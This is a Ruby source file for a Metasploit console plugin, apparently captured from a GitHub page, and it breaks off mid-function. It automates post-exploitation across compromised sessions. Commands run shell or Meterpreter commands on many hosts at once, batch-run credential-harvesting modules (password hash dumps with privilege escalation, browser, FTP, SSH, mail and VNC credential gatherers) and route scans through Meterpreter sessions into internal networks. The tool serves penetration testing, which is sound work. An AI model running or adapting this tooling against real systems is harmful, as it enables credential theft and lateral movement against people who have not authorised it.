Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
branch: master
2407 lines (2185 sloc) 85.522 kB
# Copyright (c) 2012, Carlos Perez <carlos_perez[at]darkoperator.com
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted
# provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this list of conditions and
# the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright notice, this list of conditions
# and the following disclaimer in the documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
module Msf
class Plugin::Pentest < Msf::Plugin
# Post Exploitation command class
################################################################################################
class PostautoCommandDispatcher
include Msf::Auxiliary::Report
include Msf::Ui::Console::CommandDispatcher
def name
"Postauto"
end
def commands
{
'multi_post' => "Run a post module against specified sessions.",
'multi_post_rc' => "Run resource file with post modules and options against specified sessions.",
'multi_meter_cmd' => "Run a Meterpreter Console Command against specified sessions.",
'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.",
"multi_cmd" => "Run shell command against several sessions",
"sys_creds" => "Run system password collection modules against specified sessions.",
"app_creds" => "Run application password collection modules against specified sessions."
}
end
# Multi shell command
def cmd_multi_cmd(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Comma separated list sessions to run modules against."],
"-c" => [ true, "Shell command to run."],
"-p" => [ true, "Platform to run the command against. If none given it will run against all."],
"-h" => [ false, "Command Help."]
)
# set variables for options
sessions = []
command = ""
plat = ""
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
if val =~ /all/i
sessions = framework.sessions.keys
else
sessions = val.split(",")
end
when "-c"
command = val
when "-p"
plat = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
# Make sure that proper values where provided
if not sessions.empty? and not command.empty?
# Iterate thru the session IDs
sessions.each do |s|
# Set the session object
session = framework.sessions[s.to_i]
if session.platform =~ /#{plat}/i || plat.empty?
host = session.tunnel_peer.split(":")[0]
print_line("Running #{command} against session #{s}")
# Run the command
cmd_out = session.shell_command_token(command)
# Print good each line of the command output
if not cmd_out.nil?
cmd_out.each_line do |l|
print_line(l.chomp)
end
file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
framework.db.report_loot({ :host=> host,
:path => file_name,
:ctype => "text/plain",
:ltype => "host.command.shell",
:data => cmd_out,
:name => "#{host}.txt",
:info => "Output of command #{command}" })
else
print_error("No output or error when running the command.")
end
end
end
else
print_error("You must specify both a session and a command.")
print_line(opts.usage)
return
end
end
# browser_creds Command
#-------------------------------------------------------------------------------------------
def cmd_app_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
{"mod" => "windows/gather/credentials/winscp", "opt" => nil},
{"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
{"mod" => "windows/gather/credentials/vnc", "opt" => nil},
{"mod" => "windows/gather/credentials/trillian", "opt" => nil},
{"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
{"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
{"mod" => "windows/gather/credentials/outlook", "opt" => nil},
{"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
{"mod" => "windows/gather/credentials/mremote", "opt" => nil},
{"mod" => "windows/gather/credentials/imail", "opt" => nil},
{"mod" => "windows/gather/credentials/idm", "opt" => nil},
{"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
{"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
{"mod" => "windows/gather/credentials/meebo", "opt" => nil},
{"mod" => "windows/gather/credentials/razorsql", "opt" => nil},
{"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
{"mod" => "windows/gather/credentials/imvu", "opt" => nil},
{"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
{"mod" => "windows/gather/credentials/gpp", "opt" => nil},
{"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil},
{"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil},
{"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil},
{"mod" => "windows/gather/credentials/dyndns", "opt" => nil},
{"mod" => "windows/gather/credentials/bulletproof_ftp", "opt" => nil},
{"mod" => "windows/gather/credentials/enum_cred_store", "opt" => nil},
{"mod" => "windows/gather/credentials/ftpx", "opt" => nil},
{"mod" => "windows/gather/credentials/razer_synapse", "opt" => nil},
{"mod" => "windows/gather/credentials/sso", "opt" => nil},
{"mod" => "windows/gather/credentials/steam", "opt" => nil},
{"mod" => "windows/gather/enum_ie", "opt" => nil},
{"mod" => "multi/gather/ssh_creds", "opt" => nil},
{"mod" => "multi/gather/pidgin_cred", "opt" => nil},
{"mod" => "multi/gather/firefox_creds", "opt" => nil},
{"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
{"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil},
{"mod" => "multi/gather/thunderbird_creds", "opt" => nil},
{"mod" => "multi/gather/netrc_creds", "opt" => nil},
{"mod" => "/multi/gather/gpg_creds", "opt" => nil}
]
# Parse options
if args.length == 0
print_line(opts.usage)
return
end
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if not sessions.empty?
cred_mods.each do |p|
m = framework.post.create(p["mod"])
next if m == nil
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
begin
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_line("")
print_line("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
rescue
print_error("Could not run post module against sessions #{s}.")
end
end
end
else
print_line(opts.usage)
return
end
end
# sys_creds Command
#-------------------------------------------------------------------------------------------
def cmd_sys_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example <all> or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/cachedump", "opt" => nil},
{"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
{"mod" => "windows/gather/credentials/gpp", "opt" => nil},
{"mod" => "osx/gather/hashdump", "opt" => nil},
{"mod" => "linux/gather/hashdump", "opt" => nil},
{"mod" => "solaris/gather/hashdump", "opt" => nil},
]
# Parse options
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if not sessions.empty?
cred_mods.each do |p|
m = framework.post.create(p["mod"])
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_line("")
print_line("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
end
end
else
print_line(opts.usage)
return
end
end
# Multi_post Command
#-------------------------------------------------------------------------------------------
# Function for doing auto complete on module name
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
# Function to do tab complete on modules for multi_post
def cmd_multi_post_tabs(str, words)
tab_complete_module(str, words)
end
# Function for the multi_post command
def cmd_multi_post(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run module against. Example <all> or <1,2,3,4>"],
"-m" => [ true, "Module to run against sessions."],
"-o" => [ true, "Module options."],
"-h" => [ false, "Command Help."]
)
post_mod = ""
mod_opts = nil
sessions = ""
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-m"
post_mod = val.gsub(/^post\//,"")
when "-o"
mod_opts = val
when "-h"
print_line opts.usage
return
else
print_status "Please specify a module to run with the -m option."
return
end
end
# Make sure that proper values where provided
if not sessions.empty? and not post_mod.empty?
# Set and execute post module with options
print_line("Loading #{post_mod}")
m = framework.post.create(post_mod)
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
if session_list
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_line("Running against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}.")
end
end
else
print_error("No compatible sessions were found.")
end
else
print_error("A session or Post Module where not specified.")
print_line(opts.usage)
return
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_post_rc_tabs(str, words)
tab_complete_filenames(str, words)
end
def cmd_multi_post_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values <session> <module> <options>, per line."],
"-h" => [ false, "Command Help."]
)
post_mod = nil
session_list = nil
mod_opts = nil
entries = []
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists!"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
if entries
entries.each do |l|
values = l.split
sessions = values[0]
post_mod = values[1]
if values.length == 3
mod_opts = values[2].split(",")
end
print_line("Loading #{post_mod}")
m= framework.post.create(post_mod.gsub(/^post\//,""))
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_line("Running Against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}")
end
end
end
else
print_error("Resource file was empty!")
end
end
# Multi_meter_cmd Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>"],
"-c" => [ true, "Meterpreter Console Command to run against sessions."],
"-h" => [ false, "Command Help."]
)
command = nil
session = nil
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
session = val
when "-c"
command = val
when "-h"
print_line opts.usage
return
else
print_status "Please specify a command to run with the -m option."
return
end
end
current_sessions = framework.sessions.keys.sort
if session =~/all/i
sessions = current_sessions
else
sessions = session.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_line("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_line("Session #{s} is not a Meterpreter session!")
end
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values <session> <command>, per line."],
"-h" => [ false, "Command Help"]
)
entries = []
script = nil
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
entries.each do |entrie|
session_parm,command = entrie.split(" ", 2)
current_sessions = framework.sessions.keys.sort
if session_parm =~ /all/i
sessions = current_sessions
else
sessions = session_parm.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_line("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_line("Session #{s} is not a Meterpreter sessions.")
end
end
end
end
end
# Project handling commands
################################################################################################
class ProjectCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"Project"
end
# Define Commands
def commands
{
"project" => "Command for managing projects.",
}
end
def cmd_project(*args)
# variable
project_name = ""
create = false
delete = false
history = false
switch = false
archive = false
arch_path = ::File.join(Msf::Config.log_directory,"archives")
# Define options
opts = Rex::Parser::Arguments.new(
"-c" => [ false, "Create a new Metasploit project and sets logging for it."],
"-d" => [ false, "Delete a project created by the plugin."],
"-s" => [ false, "Switch to a project created by the plugin."],
"-a" => [ false, "Export all history and DB and archive it in to a zip file for current project."],
"-p" => [ true, "Path to save archive, if none provide default ~/.msf4/archives will be used."],
"-r" => [ false, "Create time stamped RC files of Meterpreter Sessions and console history for current project."],
"-ph" => [ false, "Generate resource files for sessions and console. Generate time stamped session logs for current project."],
"-l" => [ false, "List projects created by plugin."],
"-h" => [ false, "Command Help"]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-p"
if ::File.directory?(val)
arch_path = val
else
print_error("Path provided for archive does not exists!")
return
end
when "-d"
delete = true
when "-s"
switch = true
when "-a"
archive = true
when "-c"
create = true
when "-r"
make_console_rc
make_sessions_rc
when "-h"
print_line(opts.usage)
return
when "-l"
list
return
when "-ph"
history = true
else
project_name = val.gsub(" ","_").chomp
end
end
if project_name and create
project_create(project_name)
elsif project_name and delete
project_delete(project_name)
elsif project_name and switch
project_switch(project_name)
elsif archive
project_archive(arch_path)
elsif history
project_history
else
list
end
end
def project_delete(project_name)
# Check if project exists
if project_list.include?(project_name)
current_workspace = framework.db.workspace.name
if current_workspace == project_name
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
end
workspace = framework.db.find_workspace(project_name)
if workspace.default?
workspace.destroy
workspace = framework.db.add_workspace(project_name)
print_line("Deleted and recreated the default workspace")
else
# switch to the default workspace if we're about to delete the current one
framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
# now destroy the named workspace
workspace.destroy
print_line("Deleted workspace: #{project_name}")
end
project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
::FileUtils.rm_rf(project_path)
print_line("Project folder #{project_path} has been deleted")
else
print_error("Project was not found on list of projects!")
end
return true
end
# Switch to another project created by the plugin
def project_switch(project_name)
# Check if project exists
if project_list.include?(project_name)
print_line("Switching to #{project_name}")
# Disable spooling for current
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
# Switch workspace
workspace = framework.db.find_workspace(project_name)
framework.db.workspace = workspace
print_line("Workspace: #{workspace.name}")
# Spool
spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
# Start spooling for new workspace
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
print_line("Successfully migrated to #{project_name}")
else
print_error("Project was not found on list of projects!")
end
return true
end
# List current projects created by the plugin
def list
current_workspace = framework.db.workspace.name
print_line("List of projects:")
project_list.each do |p|
if current_workspace == p
print_line("\t* #{p}")
else
print_line("\t#{p}")
end
end
return true
end
# Archive project in to a zip file
def project_archive(archive_path)
# Set variables for options
project_name = framework.db.workspace.name
project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
archive_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip"
db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml"
db_out = ::File.join(project_path,db_export_name)
format = "xml"
print_line("Exporting DB Workspace #{project_name}")
exporter = Msf::DBManager::Export.new(framework.db.workspace)
exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname|
if mtype == :status
if mstatus == "start"
print_line(" >> Starting export of #{mname}")
end
if mstatus == "complete"
print_line(" >> Finished export of #{mname}")
end
end
end
print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...")
print_line("Disabling spooling for #{project_name}")
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
print_line("Spooling disabled for archiving")
archive_full_path = ::File.join(archive_path,archive_name)
make_console_rc
make_sessions_rc
make_sessions_logs
compress(project_path,archive_full_path)
print_line("MD5 for archive is #{digestmd5(archive_full_path)}")
# Spool
spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
print_line("Spooling re-enabled")
# Start spooling for new workspace
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
return true
end
# Export Command History for Sessions and Console
#-------------------------------------------------------------------------------------------
def project_history
make_console_rc
make_sessions_rc
make_sessions_logs
return true
end
# Create a new project Workspace and enable logging
#-------------------------------------------------------------------------------------------
def project_create(project_name)
# Make sure that proper values where provided
spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
::FileUtils.mkdir_p(spool_path)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
if framework.db and framework.db.active
print_line("Creating DB Workspace named #{project_name}")
workspace = framework.db.add_workspace(project_name)
framework.db.workspace = workspace
print_line("Added workspace: #{workspace.name}")
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
else
print_error("A database most be configured and connected to create a project")
end
return true
end
# Method for creating a console resource file from all commands entered in the console
#-------------------------------------------------------------------------------------------
def make_console_rc
# Set RC file path and file name
rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
rc_full_path = ::File.join(consonle_rc_path,rc_file)
# Create folder
::FileUtils.mkdir_p(consonle_rc_path)
con_rc = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type)
con_rc << "# command executed at #{e.created_at}\n"
con_rc << "#{e.info[:command]}\n"
end
end
# Write RC console file
print_line("Writing Console RC file to #{rc_full_path}")
file_write(rc_full_path, con_rc)
print_line("RC file written")
return rc_full_path
end
# Method for creating individual rc files per session using the session uuid
#-------------------------------------------------------------------------------------------
def make_sessions_rc
sessions_uuids = []
sessions_info = []
info = ""
rc_file = ""
rc_file_name = ""
rc_list =[]
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/
if e.info[:command] != "load stdapi"
if not sessions_uuids.include?(e.info[:session_uuid])
sessions_uuids << e.info[:session_uuid]
sessions_info << {:uuid => e.info[:session_uuid],
:type => e.info[:session_type],
:id => e.info[:session_id],
:info => e.info[:session_info]}
end
end
end
end
sessions_uuids.each do |su|
sessions_info.each do |i|
if su == i[:uuid]
print_line("Creating RC file for Session #{i[:id]}")
rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
i.each do |k,v|
info << "#{k.to_s}: #{v.to_s} "
end
break
end
end
rc_file << "# Info: #{info}\n"
info = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)
if e.info[:session_uuid] == su
rc_file << "# command executed at #{e.created_at}\n"
rc_file << "#{e.info[:command]}\n"
end
end
end
# Set RC file path and file name
consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
rc_full_path = ::File.join(consonle_rc_path,rc_file_name)
print_line("Saving RC file to #{rc_full_path}")
file_write(rc_full_path, rc_file)
rc_file = ""
print_line("RC file written")
rc_list << rc_full_path
end
return rc_list
end
# Method for exporting session history with output
#-------------------------------------------------------------------------------------------
def make_sessions_logs
sessions_uuids = []
sessions_info = []
info = ""
hist_file = ""
hist_file_name = ""
log_list = []
# Create list of sessions with base info
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/
if e.info[:command] != "load stdapi"
if not sessions_uuids.include?(e.info[:session_uuid])
sessions_uuids << e.info[:session_uuid]
sessions_info << {:uuid => e.info[:session_uuid],
:type => e.info[:session_type],
:id => e.info[:session_id],
:info => e.info[:session_info]}
end
end
end
end
sessions_uuids.each do |su|
sessions_info.each do |i|
if su == i[:uuid]
print_line("Exporting Session #{i[:id]} history")
hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log"
i.each do |k,v|
info << "#{k.to_s}: #{v.to_s} "
end
break
end
end
hist_file << "# Info: #{info}\n"
info = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)
if e.info[:session_uuid] == su
if e.info.has_key?(:command)
hist_file << "#{e.updated_at}\n"
hist_file << "#{e.info[:command]}\n"
elsif e.info.has_key?(:output)
hist_file << "#{e.updated_at}\n"
hist_file << "#{e.info[:output]}\n"
end
end
end
end
# Set RC file path and file name
session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
session_hist_fullpath = ::File.join(session_hist_path,hist_file_name)
# Create folder
::FileUtils.mkdir_p(session_hist_path)
print_line("Saving log file to #{session_hist_fullpath}")
file_write(session_hist_fullpath, hist_file)
hist_file = ""
print_line("Log file written")
log_list << session_hist_fullpath
end
return log_list
end
# Compress a given folder given it's path
#-------------------------------------------------------------------------------------------
def compress(path,archive)
require 'zip/zip'
require 'zip/zipfilesystem'
path.sub!(%r[/$],'')
::Zip::ZipFile.open(archive, 'w') do |zipfile|
Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file|
print_line("Adding #{file} to archive")
zipfile.add(file.sub(path+'/',''),file)
end
end
print_line("All files saved to #{archive}")
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
# Method to create MD5 of given file
def digestmd5(file2md5)
if not ::File.exists?(file2md5)
raise "File #{file2md5} does not exists!"
else
require 'digest/md5'
chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
return chksum
end
end
# Method that returns a hash of projects
def project_list
project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects"))
projects = []
framework.db.workspaces.each do |s|
if project_folders.include?(s.name)
projects << s.name
end
end
return projects
end
end
# Discovery handling commands
################################################################################################
class DiscoveryCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"Discovery"
end
# Define Commands
def commands
{
"network_discover" => "Performs a port-scan and enumeration of services found for non pivot networks.",
"discover_db" => "Run discovery modules against current hosts in the database.",
"show_session_networks" => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.",
"pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session."
}
end
def cmd_discover_db(*args)
# Variables
range = []
filter = []
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
maxjobs = 30
verbose = false
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Provide a IPRange or CIDR to run discovery module against."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-j" => [ true, "Max number of concurrent jobs. Default is 30"],
"-v" => [ false, "Be Verbose when running jobs."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
range = val
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-j"
maxjobs = val.to_i
when "-v"
verbose = true
when "-h"
print_line opts.usage
return
end
end
# generate a list of IPs to filter
Rex::Socket::RangeWalker.new(range).each do |i|
filter << i
end
#after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
framework.db.workspace.hosts.each do |h|
if filter.empty?
run_smb(h.services.find_all_by_state("open"),smb_user,smb_pass,smb_dom,maxjobs, verbose)
run_version_scans(h.services.find_all_by_state("open"),maxjobs, verbose)
else
if filter.include?(h.address)
# Run the discovery modules for the services of each host
run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose)
run_version_scans(h.services,maxjobs, verbose)
end
end
end
end
def cmd_show_session_networks(*args)
#option variables
session_list = nil
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to enumerate networks against. Example <all> or <1,2,3,4>."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
if val =~ /all/i
session_list = framework.sessions.keys
else
session_list = val.split(",")
end
when "-h"
print_line("This command will show the networks that can be routed thru a Meterpreter session.")
print_line(opts.usage)
return
else
print_line("This command will show the networks that can be routed thru a Meterpreter session.")
print_line(opts.usage)
return
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Network',
'Netmask',
'Session'
])
# Go thru each sessions specified
session_list.each do |si|
# check that session actually exists
if framework.sessions.keys.include?(si.to_i)
# Get session object
session = framework.sessions.get(si.to_i)
# Check that it is a Meterpreter session
if (session.type == "meterpreter")
session.net.config.each_route do |route|
# Remove multicast and loopback interfaces
next if route.subnet =~ /^(224\.|127\.)/
next if route.subnet == '0.0.0.0'
next if route.netmask == '255.255.255.255'
tbl << [route.subnet, route.netmask, si]
end
end
end
end
print_line(tbl.to_s)
end
def cmd_pivot_network_discover(*args)
#option variables
session_id = nil
port_scan = false
udp_scan = false
disc_mods = false
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
verbose = false
port_lists = []
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Session to do discovery of networks and hosts."],
"-t" => [ false, "Perform TCP port scan of hosts discovered."],
"-u" => [ false, "Perform UDP scan of hosts discovered."],
"-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
"-d" => [ false, "Run Framework discovery modules against found hosts."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-v" => [ false, "Be verbose and show pending actions."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
session_id = val.to_i
when "-t"
port_scan = true
when "-u"
udp_scan = true
when "-d"
disc_mods = true
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-v"
verbose = true
when "-p"
port_lists = port_lists + Rex::Socket.portspec_crack(val)
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if session_id.nil?
print_error("You need to specify a Session to do discovery against.")
print_line(opts.usage)
return
end
# Static UDP port list
udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
# Variable to hold the array of networks that we will discover
networks = []
# Switchboard instace for routing
sb = Rex::Socket::SwitchBoard.instance
if framework.sessions.keys.include?(session_id.to_i)
# Get session object
session = framework.sessions.get(session_id.to_i)
if (session.type == "meterpreter")
# Collect addresses to help determine the best method for discovery
int_addrs = []
session.net.config.interfaces.each do |i|
int_addrs = int_addrs + i.addrs
end
print_status("Identifying networks to discover")
session.net.config.each_route { |route|
# Remove multicast and loopback interfaces
next if route.subnet =~ /^(224\.|127\.)/
next if route.subnet == '0.0.0.0'
next if route.netmask == '255.255.255.255'
# Save the network in to CIDR format
networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}"
if port_scan || udp_scan
if not sb.route_exists?(route.subnet, route.netmask)
print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}")
sb.add_route(route.subnet, route.netmask, session)
end
end
}
# Run ARP Scan and Ping Sweep for each of the networks
networks.each do |n|
opt = {"RHOSTS" => n}
# Check if any of the networks is directly connected. If so use ARP Scanner
net_ips = []
Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i}
